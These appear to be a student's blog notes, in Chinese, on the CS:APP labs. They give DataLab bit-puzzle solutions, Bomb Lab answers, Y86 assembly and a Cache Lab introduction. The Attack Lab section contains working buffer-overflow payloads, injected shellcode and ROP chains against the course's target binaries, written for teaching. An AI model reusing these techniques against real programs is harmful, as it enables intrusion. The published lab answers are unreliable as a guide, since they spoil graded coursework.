CSAPP学习笔记

阅读数: 次 2020-07-27

环境搭建

Mac 下利用docker 来编写代码。

我使用的自己的 pwndocker 地址来启动linux 环境

利用 pwndocker 将当前目录映射到 docker 中。

从而方便编程

建议看 《深入理解计算机系统》

DataLab

下载地址

概述

************
1.概述
************

在本实验中，学生将研究一个名为bits.c的C文件，该文件由
一系列编程“难题”。每个难题都是空的
必须完成的功能体，以实现指定的功能
数学函数，例如“绝对值”。学生必须解决
非浮点拼图仅使用直线C代码和
受限制的C算术和逻辑运算符集。为了
浮点拼图，他们可以使用条件和任意
操作员。

学生使用以下三种工具来检查他们的工作。
教师使用相同的工具来分配成绩。

1. dlc：一种“数据实验室编译器”，用于检查bits.c中的每个函数是否存在
遵守编码准则，检查学生是否使用
少于他们仅使用的最大运算符数
直线代码，并且它们仅使用合法运算符。的
实验中包括源代码和Linux二进制文件。

2. btest：一种测试工具，用于检查bits.c中的功能是否存在
正确性。此工具已得到显着改进，现在可以检查
整数和浮点数的边缘情况下的宽幅
表示形式，例如0，Tmin，分母-范数边界和inf。

3. driver.pl：使用dlc和btest进行自动分级的驱动程序
检查bits.c中的每个测试功能是否正确并遵守
编码准则

实验室的默认版本包含15个难题，其中
./src/selections.c，从定义的73个标准拼图中选择
在目录./src/puzzles/中。您可以根据条件自定义实验室
通过从标准集中选择另一组不同的难题来进行术语
的难题。

我们要对 bits.c 文件进行修改达到我们的目的

表1列出了从最简单到最困难的难度顺序。“Rating”字段给出难度等级(点的数量)的谜题，和“最大行动”字段给出最大的数字的操作符，您可以使用它们来实现每个函数。更多信息见bit .c中的评论

关于函数期望行为的详细信息。您也可以参考tests.c中的测试函数。这些作为参考函数来表达函数的正确行为，尽管它们不能满足函数的编码规则。

只能使用

! ˜ & ˆ | + << >>

/* 
 * CS:APP Data Lab 
 * 
 * <Please put your name and userid here>
 * 
 * bits.c - Source file with your solutions to the Lab.
 *          This is the file you will hand in to your instructor.
 *
 * WARNING: Do not include the <stdio.h> header; it confuses the dlc
 * compiler. You can still use printf for debugging without including
 * <stdio.h>, although you might get a compiler warning. In general,
 * it's not good practice to ignore compiler warnings, but in this
 * case it's OK.  
 */

#if 0
/*
 * Instructions to Students:
 *
 * STEP 1: Read the following instructions carefully.
 */

You will provide your solution to the Data Lab by
editing the collection of functions in this source file.

INTEGER CODING RULES:
 
  Replace the "return" statement in each function with one
  or more lines of C code that implements the function. Your code 
  must conform to the following style:
 
  int Funct(arg1, arg2, ...) {
      /* brief description of how your implementation works */
      int var1 = Expr1;
      ...
      int varM = ExprM;

      varJ = ExprJ;
      ...
      varN = ExprN;
      return ExprR;
  }

  Each "Expr" is an expression using ONLY the following:
  1. Integer constants 0 through 255 (0xFF), inclusive. You are
      not allowed to use big constants such as 0xffffffff.
  2. Function arguments and local variables (no global variables).
  3. Unary integer operations ! ~
  4. Binary integer operations & ^ | + << >>
    
  Some of the problems restrict the set of allowed operators even further.
  Each "Expr" may consist of multiple operators. You are not restricted to
  one operator per line.

  You are expressly forbidden to:
  1. Use any control constructs such as if, do, while, for, switch, etc.
  2. Define or use any macros.
  3. Define any additional functions in this file.
  4. Call any functions.
  5. Use any other operations, such as &&, ||, -, or ?:
  6. Use any form of casting.
  7. Use any data type other than int.  This implies that you
     cannot use arrays, structs, or unions.

 
  You may assume that your machine:
  1. Uses 2s complement, 32-bit representations of integers.
  2. Performs right shifts arithmetically.
  3. Has unpredictable behavior when shifting if the shift amount
     is less than 0 or greater than 31.


EXAMPLES OF ACCEPTABLE CODING STYLE:
  /*
   * pow2plus1 - returns 2^x + 1, where 0 <= x <= 31
   */
  int pow2plus1(int x) {
     /* exploit ability of shifts to compute powers of 2 */
     return (1 << x) + 1;
  }

  /*
   * pow2plus4 - returns 2^x + 4, where 0 <= x <= 31
   */
  int pow2plus4(int x) {
     /* exploit ability of shifts to compute powers of 2 */
     int result = (1 << x);
     result += 4;
     return result;
  }

FLOATING POINT CODING RULES

For the problems that require you to implement floating-point operations,
the coding rules are less strict.  You are allowed to use looping and
conditional control.  You are allowed to use both ints and unsigneds.
You can use arbitrary integer and unsigned constants. You can use any arithmetic,
logical, or comparison operations on int or unsigned data.

You are expressly forbidden to:
  1. Define or use any macros.
  2. Define any additional functions in this file.
  3. Call any functions.
  4. Use any form of casting.
  5. Use any data type other than int or unsigned.  This means that you
     cannot use arrays, structs, or unions.
  6. Use any floating point data types, operations, or constants.


NOTES:
  1. Use the dlc (data lab checker) compiler (described in the handout) to 
     check the legality of your solutions.
  2. Each function has a maximum number of operations (integer, logical,
     or comparison) that you are allowed to use for your implementation
     of the function.  The max operator count is checked by dlc.
     Note that assignment ('=') is not counted; you may use as many of
     these as you want without penalty.
  3. Use the btest test harness to check your functions for correctness.
  4. Use the BDD checker to formally verify your functions
  5. The maximum number of ops for each function is given in the
     header comment for each function. If there are any inconsistencies 
     between the maximum ops in the writeup and in this file, consider
     this file the authoritative source.

/*
 * STEP 2: Modify the following functions according the coding rules.
 * 
 *   IMPORTANT. TO AVOID GRADING SURPRISES:
 *   1. Use the dlc compiler to check that your solutions conform
 *      to the coding rules.
 *   2. Use the BDD checker to formally verify that your solutions produce 
 *      the correct answers.
 */


#endif
//1
/*  参考 https://www.lagou.com/lgeduarticle/52337.html
 * bitXor - x^y using only ~ and & 
 *   Example: bitXor(4, 5) = 1
 *   Legal ops: ~ &
 *   Max ops: 14
 *   Rating: 1
 */
int bitXor(int x, int y) {
  return ~(~(x & ~y) & ~(~x & y));
}
/* 
 * tmin - return minimum two's complement integer 
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 4
 *   Rating: 1
 */
int tmin(void) {

  return 1<<31;

}
//2
// 判断是否 是最大的补码  int 32位   0x80000000  最高位是符号位所以 最大为 0x7fffffff
/*
 * isTmax - returns 1 if x is the maximum, two's complement number,
 *     and 0 otherwise 
 *   Legal ops: ! ~ & ^ | +
 *   Max ops: 10
 *   Rating: 1
 */
int isTmax(int x) {
  return !(x^(0x80000000-1));
}
// 首先和 全奇数位的 0xAAAAAAAA 进行与运行，这个时候得到的是 x 的奇数位有哪些有，然后进行 异或。判断是否全部奇数位 为 1
/* 
 * allOddBits - return 1 if all odd-numbered bits in word set to 1
 *   where bits are numbered from 0 (least significant) to 31 (most significant)
 *   Examples allOddBits(0xFFFFFFFD) = 0, allOddBits(0xAAAAAAAA) = 1
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 12
 *   Rating: 2
 */
int allOddBits(int x) {
    int i = 0xAAAAAAAA;
    return !((x&i)^i);
}
// 补码，   取反 + 1 
/* 
 * negate - return -x 
 *   Example: negate(1) = -1.
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 5
 *   Rating: 2
 */
int negate(int x) {
  return ~x+1;
}
//3
// 判断是 这个是 ascii 的 '0' ~ '9'
// 这个值 在 0x30 ~ 0x39 之间
// 利用 x -a = x + 补码(a) 来计算   补码(a) = ~a + 1
// x - 0x30 >= 0  &  0x39 - x >= 0  且是 32位 。我们只用判断 符号位 0x80000000 是不是 为0 如果两个 都为0 说明x 成立
/* 
 * isAsciiDigit - return 1 if 0x30 <= x <= 0x39 (ASCII codes for characters '0' to '9')
 *   Example: isAsciiDigit(0x35) = 1.
 *            isAsciiDigit(0x3a) = 0.
 *            isAsciiDigit(0x05) = 0.
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 15
 *   Rating: 3
 */
int isAsciiDigit(int x) {
  return (!((x + ~0x30 + 1) & 0x80000000 ) & !(( 0x39 + ~x +1) & 0x80000000)) ;
}

//  判断 x 是 0 或者 不是0 从而得到 返回值
/* 
 * conditional - same as x ? y : z 
 *   Example: conditional(2,4,5) = 4
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 16
 *   Rating: 3
 */
// 可以通过 ！！a 判断 a 是否是不为 false 或者 true  ！！5 =》 1
// 通过 | 来进行 return  如果是1 ！x => 0  0-1 = 所以位数都为 1 然后进行与 得到 y的值 从而返回
// 如果是 0 同理 先得到 所有位数为 1 然后进行返回
int conditional(int x, int y, int z) {
  return ((!x+~1+1) & y)|((~!x+1)&z);
}
/* 
 * isLessOrEqual - if x <= y  then return 1, else return 0 
 *   Example: isLessOrEqual(4,5) = 1.
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 24
 *   Rating: 3
 */
// 如果 x = y 异或 = 0
// 如果 y >= 0 x<0
// 如果 x y 符号位相同，直接判断 相减大小
int isLessOrEqual(int x, int y) {
  int a = x^y;
  int b = (!!(((x>>31)^(y>>31))&(x>>31)));
  int c = !!((!((x>>31)^(y>>31))) & ((x+(~y+1))>>31));
  return !a|b|c;
}
//4
// 判断 ！
// 注意 !0 和!-0 都等于 1
// 所以我们要过滤掉这两个数
// 用到 (~(~x+1)&~x)
// 然后对 最高位进行判断
/* 
 * logicalNeg - implement the ! operator, using all of 
 *              the legal operators except !
 *   Examples: logicalNeg(3) = 0, logicalNeg(0) = 1
 *   Legal ops: ~ & ^ | + << >>
 *   Max ops: 12
 *   Rating: 4 
 */
int logicalNeg(int x) {
  return ((~(~x+1)&~x)>>31)&1;
}


/* howManyBits - return the minimum number of bits required to represent x in
 *             two's complement
 *  Examples: howManyBits(12) = 5
 *            howManyBits(298) = 10
 *            howManyBits(-5) = 4
 *            howManyBits(0)  = 1
 *            howManyBits(-1) = 1
 *            howManyBits(0x80000000) = 32
 *  Legal ops: ! ~ & ^ | + << >>
 *  Max ops: 90
 *  Rating: 4
 */
// 抄了一个 没怎么看懂。
int howManyBits(int x) {
  int b16,b8,b4,b2,b1,b0;
  int sign=x>>31;
  x = (sign&~x)|(~sign&x);//如果x为正则不变，否则按位取反（这样好找最高位为1的，原来是最高位为0的，这样也将符号位去掉了）
  // 不断缩小范围
  b16 = !!(x>>16)<<4;//高十六位是否有1
  x = x>>b16;//如果有（至少需要16位），则将原数右移16位
  b8 = !!(x>>8)<<3;//剩余位高8位是否有1
  x = x>>b8;//如果有（至少需要16+8=24位），则右移8位
  b4 = !!(x>>4)<<2;//同理
  x = x>>b4;
  b2 = !!(x>>2)<<1;
  x = x>>b2;
  b1 = !!(x>>1);
  x = x>>b1;
  b0 = x;
  return b16+b8+b4+b2+b1+b0+1;//+1表示加上符号位
  
}
//float
/* 
 * floatScale2 - Return bit-level equivalent of expression 2*f for
 *   floating point argument f.
 *   Both the argument and result are passed as unsigned int's, but
 *   they are to be interpreted as the bit-level representation of
 *   single-precision floating point values.
 *   When argument is NaN, return argument
 *   Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while
 *   Max ops: 30
 *   Rating: 4
 */
unsigned floatScale2(unsigned uf) {
  int exp = (uf&0x7F800000) >> 23;          // 取出阶码
  int sign = uf&(1 << 31);                  // 取符号位
  if (exp == 0) return uf<<1|sign;          // 若为非规格数，直接给uf乘以2后加上符号位即可
  if (exp == 255) return uf;                // 若为无穷大或者NaN，直接返回自身
  exp = exp + 1;                            // 若uf乘以2（也就是阶码加1）后变成255，则返回无穷大
  if (exp == 255) return (0x7F800000|sign);
  return (exp << 23)|(uf & 0x807FFFFF);       // 返回阶码加1后的原符号数
}


/* 
 * floatFloat2Int - Return bit-level equivalent of expression (int) f
 *   for floating point argument f.
 *   Argument is passed as unsigned int, but
 *   it is to be interpreted as the bit-level representation of a
 *   single-precision floating point value.
 *   Anything out of range (including NaN and infinity) should return
 *   0x80000000u.
 *   Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while
 *   Max ops: 30
 *   Rating: 4
 */
int floatFloat2Int(unsigned uf) {
  int exp = ((uf&0x7F800000) >> 23) - 127;        // 计算出指数
  int sign = uf >> 31;                            // 取符号位
  int frac = ((uf&0x007FFFFF) | 0x00800000); 
  if (!(uf&0x7FFFFFFF)) return 0;                 // 若原浮点数为0，则返回0

  if (exp > 31) return 0x80000000;                // 若原浮点数指数大于31，返回溢出值
  if (exp < 0) return 0;                          // 若浮点数小于0，则返回0；

  if (exp > 23) frac = frac << (exp - 23);        // 将小数转化为整数
  else frac = frac >> (23 - exp);

  if (!((frac >> 31) ^ sign)) return frac;        // 判断是否溢出，若符号位没有变化，则没有溢出，返回正确的值
  else if (frac >> 31) return 0x80000000;         // 原数为正值，现在为负值，返回溢出值
  else return ~frac + 1;                          // 原数为负值，现在为正值，返回相反数
}
/* 
 * floatPower2 - Return bit-level equivalent of the expression 2.0^x
 *   (2.0 raised to the power x) for any 32-bit integer x.
 *
 *   The unsigned value that is returned should have the identical bit
 *   representation as the single-precision floating-point number 2.0^x.
 *   If the result is too small to be represented as a denorm, return
 *   0. If too large, return +INF.
 * 
 *   Legal ops: Any integer/unsigned operations incl. ||, &&. Also if, while 
 *   Max ops: 30 
 *   Rating: 4
 */
unsigned floatPower2(int x) {
  int INF = 0xFF << 23;         // 设定一个最大值，也就是阶码位置都为1
  int exp = x + 127;            // 计算阶码
  if (exp <= 0) return 0;       // 阶码小于等于0，则返回0
  if (exp >= 255) return INF;   // 阶码大于等于255，则返回INF
  return exp << 23;
}

Bomb

相当于一个逆向题目。

首先分析 bomb.c 文件

bomb.c

/***************************************************************************
 * Dr. Evil's Insidious Bomb, Version 1.1
 * Copyright 2011, Dr. Evil Incorporated. All rights reserved.
 *
 * LICENSE:
 *
 * Dr. Evil Incorporated (the PERPETRATOR) hereby grants you (the
 * VICTIM) explicit permission to use this bomb (the BOMB).  This is a
 * time limited license, which expires on the death of the VICTIM.
 * The PERPETRATOR takes no responsibility for damage, frustration,
 * insanity, bug-eyes, carpal-tunnel syndrome, loss of sleep, or other
 * harm to the VICTIM.  Unless the PERPETRATOR wants to take credit,
 * that is.  The VICTIM may not distribute this bomb source code to
 * any enemies of the PERPETRATOR.  No VICTIM may debug,
 * reverse-engineer, run "strings" on, decompile, decrypt, or use any
 * other technique to gain knowledge of and defuse the BOMB.  BOMB
 * proof clothing may not be worn when handling this program.  The
 * PERPETRATOR will not apologize for the PERPETRATOR's poor sense of
 * humor.  This license is null and void where the BOMB is prohibited
 * by law.
 ***************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include "support.h"
#include "phases.h"

/* 
 * Note to self: Remember to erase this file so my victims will have no
 * idea what is going on, and so they will all blow up in a
 * spectaculary fiendish explosion. -- Dr. Evil 
 */

FILE *infile;

int main(int argc, char *argv[])
{
    char *input;

    /* Note to self: remember to port this bomb to Windows and put a 
     * fantastic GUI on it. */

    /* When run with no arguments, the bomb reads its input lines 
     * from standard input. */
    if (argc == 1) {  
	infile = stdin;
    } 

    /* When run with one argument <file>, the bomb reads from <file> 
     * until EOF, and then switches to standard input. Thus, as you 
     * defuse each phase, you can add its defusing string to <file> and
     * avoid having to retype it. */
    else if (argc == 2) {
	if (!(infile = fopen(argv[1], "r"))) {
	    printf("%s: Error: Couldn't open %s\n", argv[0], argv[1]);
	    exit(8);
	}
    }

    /* You can't call the bomb with more than 1 command line argument. */
    else {
	printf("Usage: %s [<input_file>]\n", argv[0]);
	exit(8);
    }

    /* Do all sorts of secret stuff that makes the bomb harder to defuse. */
    initialize_bomb();

    printf("Welcome to my fiendish little bomb. You have 6 phases with\n");
    printf("which to blow yourself up. Have a nice day!\n");

    /* Hmm...  Six phases must be more secure than one phase! */
    input = read_line();             /* Get input                   */
    phase_1(input);                  /* Run the phase               */
    phase_defused();                 /* Drat!  They figured it out!
				      * Let me know how they did it. */
    printf("Phase 1 defused. How about the next one?\n");

    /* The second phase is harder.  No one will ever figure out
     * how to defuse this... */
    input = read_line();
    phase_2(input);
    phase_defused();
    printf("That's number 2.  Keep going!\n");

    /* I guess this is too easy so far.  Some more complex code will
     * confuse people. */
    input = read_line();
    phase_3(input);
    phase_defused();
    printf("Halfway there!\n");

    /* Oh yeah?  Well, how good is your math?  Try on this saucy problem! */
    input = read_line();
    phase_4(input);
    phase_defused();
    printf("So you got that one.  Try this one.\n");
    
    /* Round and 'round in memory we go, where we stop, the bomb blows! */
    input = read_line();
    phase_5(input);
    phase_defused();
    printf("Good work!  On to the next...\n");

    /* This phase will never be used, since no one will get past the
     * earlier ones.  But just in case, make this one extra hard. */
    input = read_line();
    phase_6(input);
    phase_defused();

    /* Wow, they got it!  But isn't something... missing?  Perhaps
     * something they overlooked?  Mua ha ha ha ha! */
    
    return 0;
}

简单逻辑：

更具命令行参数进行选择数据读入 ./bomb 通过输入流输入参数。./bomb 1.txt 用1.txt的内容作为传入，每次读入一行。
一共 6 个判断

bomb ELF文件

可以直接利用 ida 分析

phase_1

首先分析第一个函数

输入和字符串 "Border relations with Canada have never been better." 传入函数 string_not_equal

然后利用 do while 循环一次进行比较。

所以我们的第一个输入是

1	Border relations with Canada have never been better.

phase_2

函数首先对我们的 input 传入 read_six_numbers 发现在这个函数中，一共读入了 6 个 %d (十进制数)

read_six_numbers

所以我们知道是要传入 6 个数字

因为我们看到后面的保存 a2 a2+4 这就是一个数组的保存形式。

所以在 phase_2 函数中。我们的输入会保存在 v3 输入开始的地方。给v3 定义为 int v3[6]

最后的分析如图

所以 phase_2 的输入为

1	1 2 4 8 16 32

phase_3

这个函数我们发现。 Input 被分为2个十进制读入。 V7 = case v8 = 对应的值就能通过。所以有多种情况。

可以输入

phase_4

函数分析

我们的输入保存在 v8 v9 中

说明 v9 要等于0 result 也要等于0

func4

这个函数对我们的第一个十进制数进行了一个递归操作。我们要让 v3 = v8 这样 result 才能等于 0

1	v3 = (a3 - a2) / 2 + a2; // (14 - 0)/2 + 0 = 7

所以我们知道 v8 只要为 7 就好

输入为

7 0

phase_5

分析

我们的输入长度为 6

经过提取后，地道的字符串为 flyers

所以我们的字符串为 9,F,E,5,6,7

ionefg

phase_6

分析

输入保存为 6 个数
然后转化后得到二叉树的值进行比较

输入值	所得node
6	332
5	168
4	924
3	691
2	477
1	433

然后进行大小排序的输入

1	4 3 2 1 6 5

Attacklab

文件结构

更具题目要求这个 lab 相当于一个 pwn 题目

需要调试，利用 gdb 调试。

保存hex对应的raw
gdb 加载文件
run 并发送数据

1
2
3

./hex2raw -i input > rawinput
gdb file
run < rawinput -q

ctarget

如果直接运行会存在一个保存，因为链接不存在的一个评分系统所有我们运行要用 ./ctarget -q

phase 1

首先进行代码分析。找到对应的 test() 函数

然后我们看 getbuf()

然后是 Gets(buf) 函数发现更具文件内容一直读入知道回车或者没有输入。

我们发现做个饭 getbuf() 函数的输入保存在栈上。也就是说明。这个地方是能劫持，返回地址。跳转到 touch1 的

我们就能编辑我们的输入内容。注意，我们的输入是小端保存的。

所以 touch1 的地址我们要进行一个修改。

touch1 地址 0x0000000004017C0

说以我们的输入文件的内容应该为。

31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31
c0 17 40 00 00 00 00 00

实现地址劫持 ./hex2raw < input | ./ctarget -q

phase 2

跳转到 touch_2 但是 touch_2 里面有一个验证 cookie 的值。

我们可以看到汇编中， cookie 的比较是通过 rdi 进行的比较。所以我们跳转过去的时候还要实现，对 rdi 的赋值

Touch2 的地址为0x00000000004017EC

其实就是相当于写 shellcode

保存为 touch2.s

1
2
3

movq $0x59b997fa, %rdi
push $0x4017ec
ret

利用 gcc 编译汇编文件后查看对应的机器码

1	gcc -c touch2.s -o touch2.o && objdump -d touch2.o

48 c7 c7 fa 97 b9 59 68 
ec 17 40 00 c3 31 31 31
31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31
78 dc 61 55 00 00 00 00   // buf 的其实地址。

phase 3

touch3 函数也是进入后会有一个比较。但是这个比较是利用了函数 hexmatch()

touch3 地址为 0x00000000004018FA

这里的比较是通过地址。通过地址得到我们的 cookie 的字符串进行比较。我们可以定义地址为 buf 的 ret 地址之后覆盖为 ascii 码 cookie

shellcode

1
2
3

movq $0x5561dca8, %rdi
push $0x4018FA
ret

输入的值为

48 c7 c7 a8 dc 61 55 68    // rdi 为 cookie 字符串的地址
fa 18 40 00 c3 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 
35 39 62 39 39 37 66 61    // cookie 字符串的值
00

然后运行输入 ./hex2raw < touch3_input | ./ctarget -q

rtarget

题目和 ctarget 一样实在 text() 函数中存在溢出

phase 4

这个 touch1 的实现直接劫持 ret 地址到。touch1 函数就好和 ctarget 第一个一样的

phase 5

这个的实现，我们需要利用 ROP 来实现我们的参数布置 rdi 为 cookie

查找 gadget 可以利用 ROPgadget 来查找。

ROPgadget --binary ./rtarget --only 'pop|ret'

找到关键的 gadget

pop rdi; ret 0x000000000040141b

cookie = 0x59b997fa

touch2 = 0x0000000004017EC

paylaod

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
1b 14 40 00 00 00 00 00    // pop rdi ; ret
fa 97 b9 59 00 00 00 00    // cookie
ec 17 40 00 00 00 00 00    // touch2

成功跳转到 touch2

phase 6

这个是比较 cookie 字符串的位置。我们也可以利用 phase5 的方法，但是这里我们。可以利用其他的

利用 rsp 的偏移来布置我们的 cookie 字符串从而实现，最后的比较成立。

Gadget 的查找。我们可以使用函数start_farm和end_farm之间的所有gadget

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 # 前0x28个字符填充0x00
cc 19 40 00 00 00 00 00 # popq %rax
20 00 00 00 00 00 00 00 # 偏移量
42 1a 40 00 00 00 00 00 # movl %eax,%edx
69 1a 40 00 00 00 00 00 # movl %edx,%ecx
27 1a 40 00 00 00 00 00 # movl %ecx,%esi
06 1a 40 00 00 00 00 00 # movq %rsp,%rax
c5 19 40 00 00 00 00 00 # movq %rax,%rdi
d6 19 40 00 00 00 00 00 # add_xy
c5 19 40 00 00 00 00 00 # movq %rax,%rdi
fa 18 40 00 00 00 00 00 # touch3地址
35 39 62 39 39 37 66 61 # 目标字符串
00 00 00 00 00 00 00 00

实现跳转到 touch3

Buffer lab

这个lab 和 attacklab 类似都是 Pwn 类型的栈溢出。

省略可以参考网上的 wp

Arch lab

下载地址

要求 wp

解压

1
2
3

$ tar xvf archlab-handout.tar
$ cd archlab-handout
$ tar xvf sim.tar

安装工具

1	apt install tcl tcl-dev tk tk-dev

在 sim 文件夹下 make

如果报错

#（1）.usr/bin/ld: cannot find -lfl 
sudo apt-get install libfl
#（2）.make: bison：命令未找到 (3) .make: flex：命令未找到
sudo apt-get install bison flex

结构图数据

example.c

/* 
 * Architecture Lab: Part A 
 * 
 * High level specs for the functions that the students will rewrite
 * in Y86 assembly language
 */

/* $begin examples */
/* linked list element */
typedef struct ELE {
    int val;
    struct ELE *next;
} *list_ptr;

/* sum_list - Sum the elements of a linked list */
int sum_list(list_ptr ls)
{
    int val = 0;
    while (ls) {
	val += ls->val;
	ls = ls->next;
    }
    return val;
}

/* rsum_list - Recursive version of sum_list */
int rsum_list(list_ptr ls)
{
    if (!ls)
	return 0;
    else {
	int val = ls->val;
	int rest = rsum_list(ls->next);
	return val + rest;
    }
}

/* copy_block - Copy src to dest and return xor checksum of src */
int copy_block(int *src, int *dest, int len)
{
    int result = 0;
    while (len > 0) {
	int val = *src++;
	*dest++ = val;
	result ^= val;
	len--;
    }
    return result;
}
/* $end examples */

我们需要利用汇编实现上面的三个函数

sum_list rsum_list copy_block

还要定义一个结构体

ELE

Part A

编写 Y86-64 汇编程序

在这里我们需要做的是将 sim/misc 下的 example.c 内含的三个函数改写成汇编版本的。

sum_list

创建一个 sum.ys

然后写汇编实现

/* sum_list - Sum the elements of a linked list */
int sum_list(list_ptr ls)
{
    int val = 0;
    while (ls) {
	val += ls->val;
	ls = ls->next;
    }
    return val;
}

sum.ys

# 表明程序开始的位置 是 0 
    .pos 0
    irmovq stack, %rsp  # 设置栈指针
    call main           # 执行main函数
    halt                # 程序停止

    .align 8            # 八字节对齐
    # 创建 3个 结构体  node1->node2->node3
node1:  
    .quad 0x00a
    .quad node2
node2:
    .quad 0x0b0
    .quad node3
node3:
    .quad 0xc00
    .quad 0

main:
    irmovq node1, %rdi  # arg1
    call sum_list       # call
    pushq %rax          # 将返回值存储至栈上  函数返回值在 rax 上保存
    ret

sum_list:               
    irmovq $0, %rax     # rax 初始化为 0
    jmp condition
loop:
    mrmovq (%rdi), %rbx  # rdi->val 赋值给 rbx
    addq %rbx, %rax      # rbx + rax
    mrmovq 8(%rdi), %rdi # rdi = rdi+8 指向下一个 node 的地址
condition:
    andq %rdi, %rdi       # 设置标志位，判断ls是否等于NULL
    jne loop
    ret

# 设置初始栈的地址  大小必须 比较大。不然会报错
    .pos 0x1000
    
stack:

实现功能

rsum_list

要实现的函数

/* rsum_list - Recursive version of sum_list */
int rsum_list(list_ptr ls)
{
    if (!ls)
	return 0;
    else {
	int val = ls->val;
	int rest = rsum_list(ls->next);
	return val + rest;
    }
}

创建 rsum.ys 利用递归实现函数。

#init function
# 初始化
    .pos 0x0
    irmovq stack,%rsp
    call main
    ret

# Sample linked list
    .pos 0x200
    .align 8
    # 创建 结构体
node1:
    .quad 0x00a
    .quad node2
node2:
    .quad 0x0b0
    .quad node3
node3:
    .quad 0xc00
    .quad 0

# main function
main:
    irmovq node1,%rdi   # 传入参数
    call rsum_list      # 执行函数
    ret

# rsum_list function
rsum_list:
    andq %rdi,%rdi    # if(ls == 0) ret
    je exit
    mrmovq (%rdi),%rbx
    mrmovq 8(%rdi),%rdi   # 参数 rdi->next
    pushq %rbx            # 压入 rbx 临时变量
    call rsum_list
    popq %rbx              
    addq %rbx,%rax        # 相加
    ret
exit:
    irmovq $0,%rax        # 如果没有值 就返回 0
    ret

#alloc stack space
    .pos 0x1000
stack:

实现功能

copy_block

实现的函数为

/* copy_block - Copy src to dest and return xor checksum of src */
int copy_block(int *src, int *dest, int len)
{
    int result = 0;
    while (len > 0) {
	int val = *src++;
	*dest++ = val;
	result ^= val;
	len--;
    }
    return result;
}

创建 copy.ys

# This is a y86-64 Assembly code written by fanesemyk, as Part A of CSAPP archlab
# 初始化
		.pos 0
		irmovq stack, %rsp
		call main
		halt
	.align 8
# Source block
src:
		.quad 0x00a
		.quad 0x0b0
		.quad 0xc00

# Destination block
dest:
		.quad 0x111
		.quad 0x222
		.quad 0x333

main: 
		irmovq src, %rdi   # 参数1
		irmovq dest, %rsi  # 参数2
		irmovq $3, %rdx    # 参数3
		call copy_block
		ret

# long copy_block(long* src, long* dest, long len)
copy_block:
		pushq %r12              #save r12, for it is callee-save
		pushq %r13              #save r13, for storing integer 1
		pushq %r14		        #save r14, for storing integer 8
		irmovq $1, %r13
		irmovq $8, %r14
		irmovq $0, %rax         #result = 0
		jmp loop_test           #jump to the start point of loop
loop:
		mrmovq (%rdi), %r12   
		addq %r14, %rdi         #rdi++
		rmmovq %r12, (%rsi)     #*rsi = *(rdi - 1)
		addq %r14, %rsi         #rsi++
		xorq %r12, %rax
		subq %r13, %rdx         #len --
loop_test:
		andq %rdx, %rdx         # while(len > 0)
		jg loop
		popq %r14
		popq %r13
		popq %r12
		ret

		.pos 0x300
stack:

Part B

处理 sim/seq文件夹中使其支持iaddq指令

修改的文件为seq-full.hcl，其工作目录为arch-lab/sim/seq

要求的里面的命令

# 生成新的SEQ模拟器。如果make失败，可能需要修改makefile
make clean && make VERSION=full
# 可选操作，使用一个简单的例子测试iaddq指令
./ssim -t ../y86-code/asumi.yo
# 可选操作，如果需要debug，则可以使用GUI形式的ssim来单步调试
./ssim -g ../y86-code/asumi.yo
# 可选操作，使用微型测试集来测试除iaddq指令以外的其他指令。
# 这部分的目的主要有两点
#   1. 判断测试工具是否正常运行
#   2. 判断原先指令是否被用户无意间破坏
(cd ../y86-code; make testssim)
# 可选操作，使用大量测试集来测试除iaddq指令以外的其他指令
(cd ../ptest; make SIM=../seq/ssim)
# 使用大量测试集来测试iaddq指令
(cd ../ptest; make SIM=../seq/ssim TFLAGS=-i)

我们需要在 sim/seq/seq-full.hcl 中添加 iaddq 指令需要的权限。

参考

https://blog.csdn.net/u012336567/article/details/51867766

Cache Lab

实现目的

实现缓存器

在本实验中，学生将处理两个名为csim.c和C的C文件。
跨语言 有两个部分：
（a）部分涉及实现缓存 csim.c中的模拟器。
（b）部分涉及编写一个 计算trans.c中给定矩阵的转置，目标是最小化模拟缓存上的未命中数。

实验室由两部分组成。

在A部分，你将实现一个缓存模拟器。

在B部分，你会写出一个矩阵转置函数，优化缓存性能。

https://www.bilibili.com/video/BV1rE41127Re?p=41

上面视频讲解了 LRU算法要实现的功能，

利用 cache 提高cpu 和数据间的传输效率。

利用到局部性原理

参考https://zhuanlan.zhihu.com/p/142942823

csim.c：实现缓存模拟器的文件
trans.c：实现矩阵转置的文件
csim-ref：标准的缓存模拟器
csim：由你实现的模拟器可执行程序
tracegen：测试你的矩阵转置是否正确，并给出错误信息
test-trans：测试你的矩阵转置优化的如何，并给出评分
driver.py：自动进行测试评分

局部性原理

时间局部性：最近访问的数据可能在不久的将来会再次访问

空间局部性：位置相近的数据常常在相近的时间内被访问

根据局部性原理，我们可以把计算机存储系统组织成一个存储山。越靠近山顶，速度越快，但造价越昂贵；越靠近山底，速度越越慢，但造价越便宜。上一层作为下一层的缓冲，保存下一层中的一部分数据。

Cache 介绍

                                                             +-----+
                                                +-----+   +-->Valid|
                                           +---->line0+---+  +-----+
                                           |    +-----+   |
                         +---------------+ |              |  +---+
                         | set0          | |    +-----+   +-->Tag|
                      +--> entry_of_lines+------>line1|   |  +---+
                      |  +---------------+ |    +-----+   |
                      |                    |              |  +-------+
                      |  +---------------+ |    +-----+   +-->Counter|
                      |  | set1          | +---->line2|      +-------+
